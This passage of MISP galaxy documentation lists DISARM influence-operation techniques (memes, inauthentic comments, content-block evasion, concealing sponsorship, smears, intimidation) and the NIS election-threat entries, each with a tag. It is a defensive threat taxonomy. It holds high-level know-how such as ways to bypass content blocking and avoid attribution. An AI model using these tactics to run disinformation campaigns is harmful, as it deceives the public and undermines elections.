<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Share Memes**

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: `misp-galaxy:disarm-techniques="Share Memes"`

*Table 1440. Table References*
Post Violative Content to Provoke Takedown and Backlash

Post Violative Content to Provoke Takedown and Backlash.

The tag is: misp-galaxy:disarm-techniques="Post Violative Content to Provoke Takedown and Backlash"

Table 1441. Table References

Links


One-Way Direct Posting

Direct posting refers to a method of posting content via a one-way messaging service, where the recipient cannot directly respond to the poster's messaging. An influence operation may post directly to promote operation narratives to the target audience without allowing opportunities for fact-checking or disagreement, creating a false sense of support for the narrative.

The tag is: misp-galaxy:disarm-techniques="One-Way Direct Posting"

Table 1442. Table References

Links


Comment or Reply on Content

Delivering content by replying or commenting via owned media (assets that the operator controls).

The tag is: misp-galaxy:disarm-techniques="Comment or Reply on Content"

Table 1443. Table References

Links

Post Inauthentic Social Media Comment

Use government-paid social media commenters, astroturfers, chatbots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, site comment forums.

The tag is: `misp-galaxy:disarm-techniques="Post Inauthentic Social Media Comment"`

<table>
<thead>
<tr>
<th>Table 1444. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Attract Traditional Media

Deliver content by attracting the attention of traditional media (earned media).

The tag is: `misp-galaxy:disarm-techniques="Attract Traditional Media"`

<table>
<thead>
<tr>
<th>Table 1445. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Amplify Existing Narrative

An influence operation may amplify existing narratives that align with its narratives to support operation objectives.

The tag is: `misp-galaxy:disarm-techniques="Amplify Existing Narrative"`

<table>
<thead>
<tr>
<th>Table 1446. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>

Cross-Posting

Cross-posting refers to posting the same message to multiple internet discussions, social media platforms or accounts, or news groups at one time. An influence operation may post content online in multiple communities and platforms to increase the chances of content exposure to the target audience.

The tag is: `misp-galaxy:disarm-techniques="Cross-Posting"`
Post across Groups

An influence operation may post content across groups to spread narratives and content to new communities within the target audiences or to new target audiences.

The tag is: `misp-galaxy:disarm-techniques="Post across Groups"

Post across Platform

An influence operation may post content across platforms to spread narratives and content to new communities within the target audiences or to new target audiences. Posting across platforms can also remove opposition and context, helping the narrative spread with less opposition on the cross-posted platform.

The tag is: `misp-galaxy:disarm-techniques="Post across Platform"

Post across Disciplines

Post Across Disciplines

The tag is: `misp-galaxy:disarm-techniques="Post across Disciplines"
Incentivize Sharing

Incentivizing content sharing refers to actions that encourage users to share content themselves, reducing the need for the operation itself to post and promote its own content.

The tag is: misp-galaxy:disarm-techniques="Incentivize Sharing"

Use Affiliate Marketing Programmes

Use Affiliate Marketing Programmes

The tag is: misp-galaxy:disarm-techniques="Use Affiliate Marketing Programmes"

Use Contests and Prizes

Use Contests and Prizes

The tag is: misp-galaxy:disarm-techniques="Use Contests and Prizes"

Manipulate Platform Algorithm

Manipulating a platform algorithm refers to conducting activity on a platform in a way that intentionally targets its underlying algorithm. After analysing a platform’s algorithm (see: Select Platforms), an influence operation may use a platform in a way that increases its content exposure, avoids content removal, or otherwise benefits the operation’s strategy. For example, an influence operation may use bots to amplify its posts so that the platform’s algorithm recognises engagement with operation content and further promotes the content on user timelines.

The tag is: misp-galaxy:disarm-techniques="Manipulate Platform Algorithm"
Bypass Content Blocking

Bypassing content blocking refers to actions taken to circumvent network security measures that prevent users from accessing certain servers, resources, or other online spheres. An influence operation may bypass content blocking to proliferate its content on restricted areas of the internet. Common strategies for bypassing content blocking include:

- Altering IP addresses to avoid IP filtering
- Using a Virtual Private Network (VPN) to avoid IP filtering
- Using a Content Delivery Network (CDN) to avoid IP filtering
- Enabling encryption to bypass packet inspection blocking
- Manipulating text to avoid filtering by keywords
- Posting content on multiple platforms to avoid platform-specific removals
- Using local facilities or modified DNS servers to avoid DNS filtering

The tag is: `misp-galaxy:disarm-techniques="Bypass Content Blocking"`

Direct Users to Alternative Platforms

Direct users to alternative platforms refers to encouraging users to move from the platform on which they initially viewed operation content and engage with content on alternate information channels, including separate social media channels and inauthentic websites. An operation may drive users to alternative platforms to diversify its information channels and ensure the target audience knows where to access operation content if the initial platform suspends, flags, or otherwise removes original operation assets and content.

The tag is: `misp-galaxy:disarm-techniques="Direct Users to Alternative Platforms"`

Control Information Environment through Offensive Cyberspace Operations

Controlling the information environment through offensive cyberspace operations uses cyber tools and techniques to alter the trajectory of content in the information space to either prioritise
operation messaging or block opposition messaging.

The tag is: misp-galaxy:disarm-techniques="Control Information Environment through Offensive Cyberspace Operations"

Table 1457. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Delete Opposing Content

Deleting opposing content refers to the removal of content that conflicts with operational narratives from selected platforms. An influence operation may delete opposing content to censor contradictory information from the target audience, allowing operation narratives to take priority in the information space.

The tag is: misp-galaxy:disarm-techniques="Delete Opposing Content"

Table 1458. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Block Content

Content blocking refers to actions taken to restrict internet access or render certain areas of the internet inaccessible. An influence operation may restrict content based on both network and content attributes.

The tag is: misp-galaxy:disarm-techniques="Block Content"

Table 1459. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

## Destroy Information Generation Capabilities

Destroying information generation capabilities refers to actions taken to limit, degrade, or otherwise incapacitate an actor’s ability to generate conflicting information. An influence operation may destroy an actor’s information generation capabilities by physically dismantling the information infrastructure, disconnecting resources needed for information generation, or redirecting information generation personnel. An operation may destroy an adversary’s information generation capabilities to limit conflicting content exposure to the target audience and
crowd the information space with its own narratives.

The tag is: `misp-galaxy:disarm-techniques="Destroy Information Generation Capabilities"`

Table 1460. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Conduct Server Redirect**

A server redirect, also known as a URL redirect, occurs when a server automatically forwards a user from one URL to another using server-side or client-side scripting languages. An influence operation may conduct a server redirect to divert target audience members from one website to another without their knowledge. The redirected website may pose as a legitimate source, host malware, or otherwise aid operation objectives.

The tag is: `misp-galaxy:disarm-techniques="Conduct Server Redirect"`

Table 1461. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Suppress Opposition**

Operators can suppress the opposition by exploiting platform content moderation tools and processes like reporting non-violative content to platforms for takedown and goading opposition actors into taking actions that result in platform action or target audience disapproval.

The tag is: `misp-galaxy:disarm-techniques="Suppress Opposition"`

Table 1462. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Report Non-Violative Opposing Content**

Reporting opposing content refers to notifying and providing an instance of a violation of a platform’s guidelines and policies for conduct on the platform. In addition to simply reporting the content, an operation may leverage copyright regulations to trick social media and web platforms into removing opposing content by manipulating the content to appear in violation of copyright laws. Reporting opposing content facilitates the suppression of contradictory information and allows operation narratives to take priority in the information space.
The tag is: misp-galaxy:disarm-techniques="Report Non-Violative Opposing Content"

**Table 1463. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Goad People into Harmful Action (Stop Hitting Yourself)**

Goad people into actions that violate terms of service or will lead to having their content or accounts taken down.

The tag is: misp-galaxy:disarm-techniques="Goad People into Harmful Action (Stop Hitting Yourself)"

**Table 1464. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Exploit Platform TOS/Content Moderation**

Exploit Platform TOS/Content Moderation

The tag is: misp-galaxy:disarm-techniques="Exploit Platform TOS/Content Moderation"

**Table 1465. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Platform Filtering**

Platform filtering refers to the decontextualization of information as claims cross platforms (from Joan Donovan [https://www.hks.harvard.edu/publications/disinformation-design-use-evidence-collages-and-platform-filtering-media-manipulation](https://www.hks.harvard.edu/publications/disinformation-design-use-evidence-collages-and-platform-filtering-media-manipulation))

The tag is: misp-galaxy:disarm-techniques="Platform Filtering"

**Table 1466. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Encourage Attendance at Events
Operation encourages attendance at existing real world event.
The tag is: misp-galaxy:disarm-techniques="Encourage Attendance at Events"

Table 1467. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Call to Action to Attend
Call to action to attend an event
The tag is: misp-galaxy:disarm-techniques="Call to Action to Attend"

Table 1468. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0126.001.md">https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0126.001.md</a></td>
</tr>
</tbody>
</table>

Facilitate Logistics or Support for Attendance
Facilitate logistics or support for travel, food, housing, etc.
The tag is: misp-galaxy:disarm-techniques="Facilitate Logistics or Support for Attendance"

Table 1469. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Physical Violence
Physical violence refers to the use of force to injure, abuse, damage, or destroy. An influence operation may conduct or encourage physical violence to discourage opponents from promoting conflicting content or draw attention to operation narratives using shock value.
The tag is: misp-galaxy:disarm-techniques="Physical Violence"

Table 1470. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Conduct Physical Violence

An influence operation may directly Conduct Physical Violence to achieve campaign goals.

The tag is: `misp-galaxy:disarm-techniques="Conduct Physical Violence"`

Table 1471. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Encourage Physical Violence

An influence operation may Encourage others to engage in Physical Violence to achieve campaign goals.

The tag is: `misp-galaxy:disarm-techniques="Encourage Physical Violence"`

Table 1472. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Conceal Information Assets

Conceal the identity or provenance of campaign information assets such as accounts, channels, pages etc. to avoid takedown and attribution.

The tag is: `misp-galaxy:disarm-techniques="Conceal Information Assets"`

Table 1473. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

Use Pseudonyms

An operation may use pseudonyms, or fake names, to mask the identity of operational accounts, channels, pages etc., publish anonymous content, or otherwise use falsified personas to conceal the identity of the operation. An operation may coordinate pseudonyms across multiple platforms, for example, by writing an article under a pseudonym and then posting a link to the article on social media on an account, channel, or page with the same falsified name.
Conceal Network Identity

Concealing network identity aims to hide the existence an influence operation’s network completely. Unlike concealing sponsorship, concealing network identity denies the existence of any sort of organisation.

Distance Reputable Individuals from Operation

Distancing reputable individuals from the operation occurs when enlisted individuals, such as celebrities or subject matter experts, actively disengage themselves from operation activities and messaging. Individuals may distance themselves from the operation by deleting old posts or statements, unfollowing operation information assets, or otherwise detaching themselves from the operation’s timeline. An influence operation may want reputable individuals to distance themselves from the operation to reduce operation exposure, particularly if the operation aims to remove all evidence.

Launder Information Assets

Laundering occurs when an influence operation acquires control of previously legitimate information assets such as accounts, channels, pages etc. from third parties through sale or exchange and often in contravention of terms of use. Influence operations use laundered assets to reach target audience members from within an existing information community and to complicate attribution.
Change Names of Information Assets

Changing names or brand names of information assets such as accounts, channels, pages etc. An operation may change the names or brand names of its assets throughout an operation to avoid detection or alter the names of newly acquired or repurposed assets to fit operational narratives.

Conceal Operational Activity

Conceal the campaign's operational activity to avoid takedown and attribution.

Generate Content Unrelated to Narrative

An influence operation may mix its own operation content with legitimate news or external unrelated content to disguise operational objectives, narratives, or existence. For example, an operation may generate "lifestyle" or "cuisine" content alongside regular operation content.
Break Association with Content

Breaking association with content occurs when an influence operation actively separates itself from its own content. An influence operation may break association with content by unfollowing, unliking, or unsharing its content, removing attribution from its content, or otherwise taking actions that distance the operation from its messaging. An influence operation may break association with its content to complicate attribution or regain credibility for a new operation.

The tag is: misp-galaxy:disarm-techniques="Break Association with Content"

Table 1481. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Delete URLs

URL deletion occurs when an influence operation completely removes its website registration, rendering the URL inaccessible. An influence operation may delete its URLs to complicate attribution or remove online documentation that the operation ever occurred.

The tag is: misp-galaxy:disarm-techniques="Delete URLs"

Table 1482. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Coordinate on Encrypted/Closed Networks

Coordinate on encrypted/ closed networks

The tag is: misp-galaxy:disarm-techniques="Coordinate on Encrypted/Closed Networks"

Table 1483. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Deny Involvement

Without "smoking gun" proof (and even with proof), incident creator can or will deny involvement. This technique also leverages the attacker advantages outlined in "Demand insurmountable proof", specifically the asymmetric disadvantage for truth-tellers in a "firehose of misinformation" environment.
Delete Accounts/Account Activity

Deleting accounts and account activity occurs when an influence operation removes its online social media assets, including social media accounts, posts, likes, comments, and other online artefacts. An influence operation may delete its accounts and account activity to complicate attribution or remove online documentation that the operation ever occurred.

Redirect URLs

An influence operation may redirect its falsified or typosquatted URLs to legitimate websites to increase the operation's appearance of legitimacy, complicate attribution, and avoid detection.

Remove Post Origins

Removing post origins refers to the elimination of evidence that indicates the initial source of operation content, often to complicate attribution. An influence operation may remove post origins by deleting watermarks, renaming files, or removing embedded links in its content.
**Misattribute Activity**

Misattributed activity refers to incorrectly attributed operation activity. For example, a state-sponsored influence operation may conduct operation activity in a way that mimics another state so that external entities misattribute activity to the incorrect state. An operation may misattribute their activities to complicate attribution, avoid detection, or frame an adversary for negative behaviour.

The tag is: `misp-galaxy:disarm-techniques="Misattribute Activity"`

**Conceal Infrastructure**

Conceal the campaign’s infrastructure to avoid takedown and attribution.

The tag is: `misp-galaxy:disarm-techniques="Conceal Infrastructure"`

**Conceal Sponsorship**

Concealing sponsorship aims to mislead or obscure the identity of the hidden sponsor behind an operation rather than entity publicly running the operation. Operations that conceal sponsorship may maintain visible falsified groups, news outlets, non-profits, or other organisations, but seek to mislead or obscure the identity sponsoring, funding, or otherwise supporting these entities. Influence operations may use a variety of techniques to mask the location of their social media accounts to complicate attribution and conceal evidence of foreign interference. Operation accounts may set their location to a false place, often the location of the operation’s target audience, and post in the region’s language.

The tag is: `misp-galaxy:disarm-techniques="Conceal Sponsorship"`
**Utilise Bulletproof Hosting**

Hosting refers to services through which storage and computing resources are provided to an individual or organisation for the accommodation and maintenance of one or more websites and related services. Services may include web hosting, file sharing, and email distribution. Bulletproof hosting refers to services provided by an entity, such as a domain hosting or web hosting firm, that allows its customer considerable leniency in use of the service. An influence operation may utilise bulletproof hosting to maintain continuity of service for suspicious, illegal, or disruptive operation activities that stricter hosting services would limit, report, or suspend.

The tag is: `misp-galaxy:disarm-techniques="Utilise Bulletproof Hosting"`

*Table 1491. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Use Shell Organisations**

Use Shell Organisations to conceal sponsorship.

The tag is: `misp-galaxy:disarm-techniques="Use Shell Organisations"`

*Table 1492. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Use Cryptocurrency**

Use Cryptocurrency to conceal sponsorship. Examples include Bitcoin, Monero, and Etherium.

The tag is: `misp-galaxy:disarm-techniques="Use Cryptocurrency"`

*Table 1493. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Obfuscate Payment

The tag is: *misp-galaxy:disarm-techniques=*"Obfuscate Payment"

Exploit TOS/Content Moderation

Exploiting weaknesses in platforms' terms of service and content moderation policies to avoid takedowns and platform actions.

The tag is: *misp-galaxy:disarm-techniques=*"Exploit TOS/Content Moderation"

Legacy Web Content

Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it's hard to remove or unlikely to be removed.

The tag is: *misp-galaxy:disarm-techniques=*"Legacy Web Content"

Post Borderline Content

Post Borderline Content

The tag is: *misp-galaxy:disarm-techniques=*"Post Borderline Content"
Measure Performance

A metric used to determine the accomplishment of actions. “Are the actions being executed as planned?”

The tag is: misp-galaxy:disarm-techniques="Measure Performance"

Table 1498. Table References

Links


People Focused

Measure the performance individuals in achieving campaign goals

The tag is: misp-galaxy:disarm-techniques="People Focused"

Table 1499. Table References

Links


Content Focused

Measure the performance of campaign content

The tag is: misp-galaxy:disarm-techniques="Content Focused"

Table 1500. Table References

Links


View Focused

View Focused

The tag is: misp-galaxy:disarm-techniques="View Focused"

Table 1501. Table References
Measure Effectiveness

A metric used to measure a current system state. “Are we on track to achieve the intended new system state within the planned timescale?”

The tag is: *misp-galaxy:disarm-techniques=“Measure Effectiveness”*

Table 1502. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Behaviour Changes

Monitor and evaluate behaviour changes from misinformation incidents.

The tag is: *misp-galaxy:disarm-techniques=“Behaviour Changes”*

Table 1503. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Content

Measure current system state with respect to the effectiveness of campaign content.

The tag is: *misp-galaxy:disarm-techniques=“Content”*

Table 1504. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Awareness

Measure current system state with respect to the effectiveness of influencing awareness.

The tag is: *misp-galaxy:disarm-techniques=“Awareness”*

Table 1505. Table References
Knowledge

Measure current system state with respect to the effectiveness of influencing knowledge.

The tag is: misp-galaxy:disarm-techniques="Knowledge"

Table 1506. Table References

Links

Action/Attitude

Measure current system state with respect to the effectiveness of influencing action/attitude.

The tag is: misp-galaxy:disarm-techniques="Action/Attitude"

Table 1507. Table References

Links

Measure Effectiveness Indicators (or KPIs)

Ensuring that Key Performance Indicators are identified and tracked, so that the performance and effectiveness of campaigns, and elements of campaigns, can be measured, during and after their execution.

The tag is: misp-galaxy:disarm-techniques="Measure Effectiveness Indicators (or KPIs)"

Table 1508. Table References

Links

Message Reach

Monitor and evaluate message reach in misinformation incidents.

The tag is: misp-galaxy:disarm-techniques="Message Reach"
Social Media Engagement

Monitor and evaluate social media engagement in misinformation incidents.

The tag is: *misp-galaxy:disarm-techniques=*"Social Media Engagement"

Undermine

Weaken, debilitate, or subvert a target or their actions. An influence operation may be designed to disparage an opponent; sabotage an opponent’s systems or processes; compromise an opponent’s relationships or support system; impair an opponent’s capability; or thwart an opponent’s initiative.

The tag is: *misp-galaxy:disarm-techniques=*"Undermine"

Smear

Denigrate, disparage, or discredit an opponent. This is a common tactical objective in political campaigns with a larger strategic goal. It differs from efforts to harm a target through defamation. If there is no ulterior motive and the sole aim is to cause harm to the target, then choose sub-technique “Defame” of technique “Cause Harm” instead.

The tag is: *misp-galaxy:disarm-techniques=*"Smear"
Thwart

Prevent the successful outcome of a policy, operation, or initiative. Actors conduct influence operations to stymie or foil proposals, plans, or courses of action which are not in their interest.

The tag is: *misp-galaxy:disarm-techniques=*“Thwart”*

<table>
<thead>
<tr>
<th>Table 1513. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.002.md" alt="GitHub" /></td>
</tr>
</tbody>
</table>

Subvert

Sabotage, destroy, or damage a system, process, or relationship. The classic example is the Soviet strategy of “active measures” involving deniable covert activities such as political influence, the use of front organisations, the orchestration of domestic unrest, and the spread of disinformation.

The tag is: *misp-galaxy:disarm-techniques=*“Subvert”*

<table>
<thead>
<tr>
<th>Table 1514. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.003.md" alt="GitHub" /></td>
</tr>
</tbody>
</table>

Polarise

To cause a target audience to divide into two completely opposing groups. This is a special case of subversion. To divide and conquer is an age-old approach to subverting and overcoming an enemy.

The tag is: *misp-galaxy:disarm-techniques=*“Polarise”*

<table>
<thead>
<tr>
<th>Table 1515. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><img src="https://github.com/DISARMFoundation/DISARMframeworks/blob/main/generated_pages/techniques/T0135.004.md" alt="GitHub" /></td>
</tr>
</tbody>
</table>

Cultivate Support

Grow or maintain the base of support for the actor, ally, or action. This includes hard core recruitment, managing alliances, and generating or maintaining sympathy among a wider audience, including reputation management and public relations. Sub-techniques assume support for actor (self) unless otherwise specified.

The tag is: *misp-galaxy:disarm-techniques=*“Cultivate Support”*
Defend Reputation

Preserve a positive perception in the public’s mind following an accusation or adverse event. When accused of a wrongful act, an actor may engage in denial, counter accusations, whataboutism, or conspiracy theories to distract public attention and attempt to maintain a positive image.

The tag is: `misp-galaxy:disarm-techniques="Defend Reputation"`

Justify Action

To convince others to exonerate you of a perceived wrongdoing. When an actor finds it untenable to deny doing something, they may attempt to exonerate themselves with disinformation which claims the action was reasonable. This is a special case of “Defend Reputation”.

The tag is: `misp-galaxy:disarm-techniques="Justify Action"`

Energise Supporters

Raise the morale of those who support the organisation or group. Invigorate constituents with zeal for the mission or activity. Terrorist groups, political movements, and cults may indoctrinate their supporters with ideologies that are based on warped versions of religion or cause harm to others.

The tag is: `misp-galaxy:disarm-techniques="Energise Supporters"`
Boost Reputation

Elevate the estimation of the actor in the public’s mind. Improve their image or standing. Public relations professionals use persuasive overt communications to achieve this goal; manipulators use covert disinformation.

The tag is: misp-galaxy:disarm-techniques="Boost Reputation"

Table 1520. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cultivate Support for Initiative

Elevate or fortify the public backing for a policy, operation, or idea. Domestic and foreign actors can use artificial means to fabricate or amplify public support for a proposal or action.

The tag is: misp-galaxy:disarm-techniques="Cultivate Support for Initiative"

Table 1521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Cultivate Support for Ally

Elevate or fortify the public backing for a partner. Governments may interfere in other countries’ elections by covertly favouring a party or candidate aligned with their interests. They may also mount an influence operation to bolster the reputation of an ally under attack.

The tag is: misp-galaxy:disarm-techniques="Cultivate Support for Ally"

Table 1522. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Recruit Members

Motivate followers to join or subscribe as members of the team. Organisations may mount recruitment drives that use propaganda to entice sympathisers to sign up.

The tag is: misp-galaxy:disarm-techniques="Recruit Members"
**Increase Prestige**

Improve personal standing within a community. Gain fame, approbation, or notoriety. Conspiracy theorists, those with special access, and ideologues can gain prominence in a community by propagating disinformation, leaking confidential documents, or spreading hate.

The tag is: `misp-galaxy:disarm-techniques="Increase Prestige"`

**Make Money**

Profit from disinformation, conspiracy theories, or online harm. In some cases, the sole objective is financial gain, in other cases the objective is both financial and political. Making money may also be a way to sustain a political campaign.

The tag is: `misp-galaxy:disarm-techniques="Make Money"`

**Generate Ad Revenue**

Earn income from digital advertisements published alongside inauthentic content. Conspiratorial, false, or provocative content drives internet traffic. Content owners earn money from impressions of, or clicks on, or conversions of ads published on their websites, social media profiles, or streaming services, or ads published when their content appears in search engine results. Fraudsters simulate impressions, clicks, and conversions, or they spin up inauthentic sites or social media profiles just to generate ad revenue. Conspiracy theorists and political operators generate ad revenue as a byproduct of their operation or as a means of sustaining their campaign.

The tag is: `misp-galaxy:disarm-techniques="Generate Ad Revenue"`
**Scam**

Defraud a target or trick a target into doing something that benefits the attacker. A typical scam is where a fraudster convinces a target to pay for something without the intention of ever delivering anything in return. Alternatively, the fraudster may promise benefits which never materialise, such as a fake cure. Criminals often exploit a fear or crisis or generate a sense of urgency. They may use deepfakes to impersonate authority figures or individuals in distress.

The tag is: `misp-galaxy:disarm-techniques="Scam"`

*Table 1527. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Raise Funds**

Solicit donations for a cause. Popular conspiracy theorists can attract financial contributions from their followers. Fighting back against the establishment is a popular crowdfunding narrative.

The tag is: `misp-galaxy:disarm-techniques="Raise Funds"`

*Table 1528. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Sell Items under False Pretences**

Offer products for sale under false pretences. Campaigns may hijack or create causes built on disinformation to sell promotional merchandise. Or charlatans may amplify victims’ unfounded fears to sell them items of questionable utility such as supplements or survival gear.

The tag is: `misp-galaxy:disarm-techniques="Sell Items under False Pretences"`

*Table 1529. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Extort

Coerce money or favours from a target by threatening to expose or corrupt information. Ransomware criminals typically demand money. Intelligence agencies demand national secrets. Sexual predators demand favours. The leverage may be critical, sensitive, or embarrassing information.

The tag is: misp-galaxy:disarm-techniques="Extort"

Table 1530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Manipulate Stocks

Artificially inflate or deflate the price of stocks or other financial instruments and then trade on these to make profit. The most common securities fraud schemes are called “pump and dump” and “poop and scoop”.

The tag is: misp-galaxy:disarm-techniques="Manipulate Stocks"

Table 1531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Motivate to Act

Persuade, impel, or provoke the target to behave in a specific manner favourable to the attacker. Some common behaviours are joining, subscribing, voting, buying, demonstrating, fighting, retreating, resigning, boycotting.

The tag is: misp-galaxy:disarm-techniques="Motivate to Act"

Table 1532. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Encourage

Inspire, animate, or exhort a target to act. An actor can use propaganda, disinformation, or conspiracy theories to stimulate a target to act in its interest.
Promote
Encourage

Instigate, incite, or arouse a target to act. Social media manipulators exploit moral outrage to propel targets to spread hate, take to the streets to protest, or engage in acts of violence.

The tag is: *misp-galaxy:disarm-techniques*="Encourage"

Provoke

Instigate, incite, or arouse a target to act. Social media manipulators exploit moral outrage to propel targets to spread hate, take to the streets to protest, or engage in acts of violence.

The tag is: *misp-galaxy:disarm-techniques*="Provoke"

Compel

Force target to take an action or to stop taking an action it has already started. Actors can use the threat of reputational damage alongside military or economic threats to compel a target.

The tag is: *misp-galaxy:disarm-techniques*="Compel"

Dissuade from Acting

Discourage, deter, or inhibit the target from actions which would be unfavourable to the attacker. The actor may want the target to refrain from voting, buying, fighting, or supplying.

The tag is: *misp-galaxy:disarm-techniques*="Dissuade from Acting"
**Discourage**

To make a target disinclined or reluctant to act. Manipulators use disinformation to cause targets to question the utility, legality, or morality of taking an action.

The tag is: `misp-galaxy:disarm-techniques="Discourage"`

**Silence**

Intimidate or incentivise target into remaining silent or prevent target from speaking out. A threat actor may cow a target into silence as a special case of deterrence. Or they may buy the target’s silence. Or they may repress or restrict the target’s speech.

The tag is: `misp-galaxy:disarm-techniques="Silence"`

**Deter**

Prevent target from taking an action for fear of the consequences. Deterrence occurs in the mind of the target, who fears they will be worse off if they take an action than if they don’t. When making threats, aggressors may bluff, feign irrationality, or engage in brinksmanship.

The tag is: `misp-galaxy:disarm-techniques="Deter"`

**Cause Harm**

Persecute, malign, or inflict pain upon a target. The objective of a campaign may be to cause fear or emotional distress in a target. In some cases, harm is instrumental to achieving a primary objective, as in coercion, repression, or intimidation. In other cases, harm may be inflicted for the satisfaction of the perpetrator, as in revenge or sadistic cruelty.
Defame

Attempt to damage the target's personal reputation by impugning their character. This can range from subtle attempts to misrepresent or insinuate, to obvious attempts to denigrate or disparage, to blatant attempts to malign or vilify. Slander applies to oral expression. Libel applies to written or pictorial material. Defamation is often carried out by online trolls. The sole aim here is to cause harm to the target. If the threat actor uses defamation as a means of undermining the target, then choose sub-technique “Smear” of technique “Undermine” instead.

Intimidate

Coerce, bully, or frighten the target. An influence operation may use intimidation to compel the target to act against their will. Or the goal may be to frighten or even terrify the target into silence or submission. In some cases, the goal is simply to make the victim suffer.

Spread Hate

Publish and/or propagate demeaning, derisive, or humiliating content targeting an individual or group of individuals with the intent to cause emotional, psychological, or physical distress. Hate speech can cause harm directly or incite others to harm the target. It often aims to stigmatise the target by singling out immutable characteristics such as colour, race, religion, national or ethnic origin, gender, gender identity, sexual orientation, age, disease, or mental or physical disability. Thus, promoting hatred online may involve racism, antisemitism, Islamophobia, xenophobia, sexism, misogyny, homophobia, transphobia, ageism, ableism, or any combination thereof.
Motivations for hate speech range from group preservation to ideological superiority to the unbridled infliction of suffering.

The tag is: *misp-galaxy:disarm-techniques=*"Spread Hate"

---

**Election guidelines**

Universal Development and Security Guidelines as Applicable to Election Technology.

Election guidelines is a cluster galaxy available in JSON format at this location. The JSON format can be freely reused in your application or automatically enabled in MISP.

**authors**

NIS Cooperation Group

---

**Tampering with registrations**

Tampering with registrations

The tag is: *misp-galaxy:guidelines=*"Tampering with registrations"

---

**DoS or overload of party/campaign registration, causing them to miss the deadline**

DoS or overload of party/campaign registration, causing them to miss the deadline

The tag is: *misp-galaxy:guidelines=*"DoS or overload of party/campaign registration, causing them to miss the deadline"
Fabricated signatures from sponsor

Fabricated signatures from sponsor

The tag is: misp-galaxy:guidelines="Fabricated signatures from sponsor"

Table 1546. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Identity fraud during voter registration

Identity fraud during voter registration

The tag is: misp-galaxy:guidelines="Identity fraud during voter registration"

Table 1547. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Deleting or tampering with voter data

Deleting or tampering with voter data

The tag is: misp-galaxy:guidelines="Deleting or tampering with voter data"

Table 1548. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DoS or overload of voter registration system, suppressing voters

DoS or overload of voter registration system, suppressing voters

